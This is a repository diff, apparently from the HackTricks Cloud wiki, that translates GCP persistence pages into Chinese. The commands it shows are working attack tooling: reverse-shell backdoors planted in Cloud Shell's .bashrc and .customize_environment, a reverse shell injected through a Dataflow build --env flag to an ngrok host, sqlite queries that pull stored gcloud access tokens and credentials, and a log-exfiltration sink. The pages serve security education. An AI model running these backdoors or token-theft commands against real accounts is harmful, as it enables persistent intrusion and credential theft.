- **修改** Cloud Function 的代码,甚至只是 `requirements.txt`
|
||||
- **允许任何人** 调用一个易受攻击的 Cloud Function 或后门
|
||||
- **触发** Cloud Function,当某些事情发生时感染某些东西
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
有关 Cloud Run 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,14 @@ For more information about Cloud Run check:
|
||||
|
||||
### Backdoored Revision
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
创建一个新的后门修订版的 Run 服务,并将部分流量分配给它。
|
||||
|
||||
### Publicly Accessible Service
|
||||
|
||||
Make a Service publicly accessible
|
||||
使服务公开可访问
|
||||
|
||||
### Backdoored Service or Job
|
||||
|
||||
Create a backdoored Service or Job
|
||||
创建一个后门服务或作业
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,70 +4,60 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
### 持久后门
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) 让您可以直接从浏览器访问云资源,且没有任何相关费用。
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
您可以通过 **web 控制台** 或运行 **`gcloud cloud-shell ssh`** 访问 Google 的 Cloud Shell。
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
这个控制台对攻击者有一些有趣的功能:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **任何有权访问 Google Cloud 的 Google 用户** 都可以访问一个完全认证的 Cloud Shell 实例(服务账户即使是组织的所有者也可以)。
|
||||
2. 如果没有活动,该实例将 **至少保持其主目录 120 天**。
|
||||
3. 组织 **无法监控** 该实例的活动。
|
||||
|
||||
这基本上意味着攻击者可以在用户的主目录中放置一个后门,只要用户每 120 天至少连接一次 GC Shell,后门就会存活,攻击者每次运行时都会获得一个 shell,只需执行:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
在主文件夹中还有另一个文件叫 **`.customize_environment`**,如果存在,将会在用户访问 **cloud shell** 时 **每次执行**(如同之前的技术)。只需插入之前的后门或类似以下的后门,以保持持久性,只要用户“频繁”使用 cloud shell:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> 重要的是要注意,**第一次执行需要身份验证的操作时**,用户的浏览器中会出现一个弹出授权窗口。必须接受此窗口才能运行命令。如果出现意外的弹出窗口,可能会引起怀疑,并可能危及所使用的持久性方法。
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
这是从云终端(作为攻击者)执行 `gcloud projects list` 时在浏览器用户会话中查看的弹出窗口:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
然而,如果用户已主动使用云终端,则不会出现弹出窗口,您可以**通过以下方式收集用户的令牌**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### SSH连接的建立方式
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
基本上,使用这3个API调用:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (将使您添加您本地创建的公钥)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (将使您启动实例)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (将告诉您google cloud shell的IP)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
但您可以在[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)找到更多信息。
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
有关 Cloud SQL 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
### 暴露数据库并将您的 IP 地址列入白名单
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
仅可从内部 VPC 访问的数据库可以被外部暴露,并且可以将您的 IP 地址列入白名单,以便您可以访问它。\
|
||||
有关更多信息,请查看以下技术:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
### 创建新用户 / 更新用户密码 / 获取用户密码
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
要连接到数据库,您**只需访问数据库暴露的端口**和一个**用户名**及**密码**。拥有**足够的权限**,您可以**创建新用户**或**更新**现有用户的**密码**。\
|
||||
另一种选择是通过尝试多个密码或访问数据库中用户的**哈希**密码(如果可能)并破解它来**暴力破解用户的密码**。\
|
||||
请记住,**可以使用 GCP API 列出数据库的用户**。
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
> 如果您拥有足够的权限,可以使用 GCP API 或从数据库内部创建/更新用户。
|
||||
|
||||
For more information check the technique in:
|
||||
有关更多信息,请查看以下技术:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,19 @@
|
||||
# GCP - Compute Persistence
|
||||
# GCP - 计算持久性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
## 计算
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
有关计算和 VPC(网络)的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
### 利用实例和备份的持久性
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
- 后门现有的虚拟机
|
||||
- 后门磁盘映像和快照,创建新版本
|
||||
- 创建具有特权服务账户的新可访问实例
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
### 在构建的容器中隐形持久化
|
||||
|
||||
按照[**文档中的教程**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates),您可以创建一个新的(例如 python)flex 模板:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -19,39 +18,32 @@ gcloud storage buckets create gs://$REPOSITORY
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**在构建过程中,您将获得一个反向 shell**(您可以像在前面的示例中那样滥用环境变量或其他设置 Docker 文件以执行任意操作的参数)。此时,在反向 shell 内部,可以**进入 `/template` 目录并修改将要执行的主 Python 脚本的代码(在我们的示例中是 `getting_started.py`)**。在这里设置您的后门,以便每次作业执行时,它都会执行它。
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
然后,下次作业执行时,将运行构建的受损容器:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
有关 Filestore 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
### 提供更广泛的访问权限和挂载特权
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
攻击者可以**给予自己更多的特权并简化对共享的访问**,以便在共享上保持持久性,了解如何执行这些操作,请访问此页面:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Logging
|
||||
|
||||
Find more information about Logging in:
|
||||
有关日志的更多信息,请访问:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,14 +12,8 @@ Find more information about Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
创建一个接收器,将日志导出到攻击者可访问的目的地:
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
### 认证用户令牌
|
||||
|
||||
要获取用户的 **当前令牌**,您可以运行:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
检查此页面如何**直接使用此令牌通过 gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
要获取**生成新访问令牌**的详细信息,请运行:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
也可以在 **`$HOME/.config/gcloud/application_default_credentials.json`** 和 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** 中找到刷新令牌。
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
要使用 **刷新令牌**、客户端 ID 和客户端密钥获取新的刷新访问令牌,请运行:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
刷新令牌的有效性可以在 **Admin** > **Security** > **Google Cloud session control** 中管理,默认设置为16小时,但可以设置为永不过期:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
|
||||
使用类似 `gcloud auth login` 的认证流程将在浏览器中打开一个提示,接受所有范围后,浏览器将向工具打开的http端口发送类似于以下的请求:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
然后,gcloud 将使用状态和代码与一些硬编码的 `client_id` (`32555940559.apps.googleusercontent.com`) 和 **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) 来获取 **最终的刷新令牌数据**。
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将是无用的,直接从文件中读取刷新令牌更容易。
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
### OAuth 范围
|
||||
|
||||
您可以在 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) 找到所有 Google 范围,或通过执行以下命令获取它们:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
可以使用以下脚本查看**`gcloud`**用于身份验证的应用程序可以支持哪些范围:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
在执行后,检查该应用程序支持以下范围:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -78,31 +65,26 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
很有趣的是,这个应用支持**`drive`**范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从GCP升级到Workspace。
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
**检查如何** [**在这里滥用它**](../gcp-to-workspace-pivoting/#abusing-gcloud)**。**
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
### 服务账户
|
||||
|
||||
### Service Accounts
|
||||
就像经过身份验证的用户一样,如果您设法**破坏服务账户的私钥文件**,您将能够**通常无限期访问它**。\
|
||||
然而,如果您窃取了服务账户的**OAuth令牌**,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果**受害者删除了私有API密钥,OAuth令牌在过期之前仍然有效**。
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
### 元数据
|
||||
|
||||
### Metadata
|
||||
显然,只要您在GCP环境中运行的机器内,您将能够**通过联系元数据端点访问附加到该机器的服务账户**(请注意,您可以在此端点访问的OAuth令牌通常受范围限制)。
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
### 补救措施
|
||||
|
||||
### Remediations
|
||||
一些针对这些技术的补救措施在[https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)中进行了说明。
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
### 参考
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+7
-11
@@ -4,23 +4,19 @@
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
有关 Secret Manager 的更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
### 轮换滥用
|
||||
|
||||
An attacker could update the secret to:
|
||||
攻击者可以更新秘密以:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
- **停止轮换**,以便秘密不会被修改
|
||||
- **减少轮换频率**,以便秘密不会被修改
|
||||
- **将轮换消息发布到不同的 pub/sub**
|
||||
- **修改正在执行的轮换代码。** 这发生在不同的服务中,可能是在 Cloud Function 中,因此攻击者需要对 Cloud Function 或任何其他服务具有特权访问权限。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Storage Persistence
|
||||
# GCP - 存储持久性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
## 存储
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
有关 Cloud Storage 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Cloud Storage check:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
您可以创建一个 HMAC 以在存储桶上保持持久性。有关此技术的更多信息 [**请查看这里**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -24,19 +23,14 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
另一个针对该方法的利用脚本可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) 找到。
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
### 给予公共访问
|
||||
|
||||
### Give Public Access
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
**使存储桶公开可访问** 是保持对存储桶访问的另一种方式。查看如何做到这一点:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - 后期利用
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user